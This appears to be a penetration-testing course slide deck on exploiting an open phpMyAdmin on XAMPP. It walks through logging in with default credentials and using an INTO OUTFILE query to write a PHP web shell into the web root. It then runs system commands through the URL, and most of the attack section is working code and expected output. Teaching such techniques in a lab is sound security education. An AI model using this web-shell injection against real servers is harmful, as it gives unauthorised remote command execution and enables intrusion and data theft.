Title: *Exploiting phpMyAdmin for Remote Command Execution*

Subtitle: Ethical Hacking & Penetration Testing

Instructor:

Course: Penetration Testing Lab

Overview of the Exploit

- Target: **XAMPP platform with an open phpMyAdmin install**
- Goal: **Execute remote commands on the database server**
- How? **Using MySQL queries to write a web shell script**
- Pre-requisite: Ensure MySQL has file write permissions

Accessing the Target phpMyAdmin

Open a browser and go to:

http://192.168.20.10/phpmyadmin

- Log in using known or default credentials.
- Click on the SQL tab to execute queries.

____

Injecting a PHP Web Shell

- In the SQL tab, enter the following command:

```
SELECT "<?php system($_GET['cmd']); ?>"
INTO OUTFILE "C:\\xampp\\htdocs\\shell.php";
```

- This command:
  - Creates a shell.php file in the web server directory.
  - Embeds a PHP script that executes system commands from the URL.

⚠️ Make sure MySQL has permission to write files!

____

: Verifying the Web Shell is Created

- Open a browser and go to:

http://192.168.20.10/shell.php

- Expected output:

```
Warning: system() [function.system]: Cannot execute a blank command in C:\xampp\htdocs\shell.php on line 1
```

📌 This confirms that the shell script was successfully created but needs a command input.

____

Executing Commands via Web Shell

- Append a command to the URL:
- http://192.168.20.10/shell.php?cmd=ipconfig
- Expected result:

o The server will execute ipconfig and display network details.

✅ You now have remote command execution on the target system!

____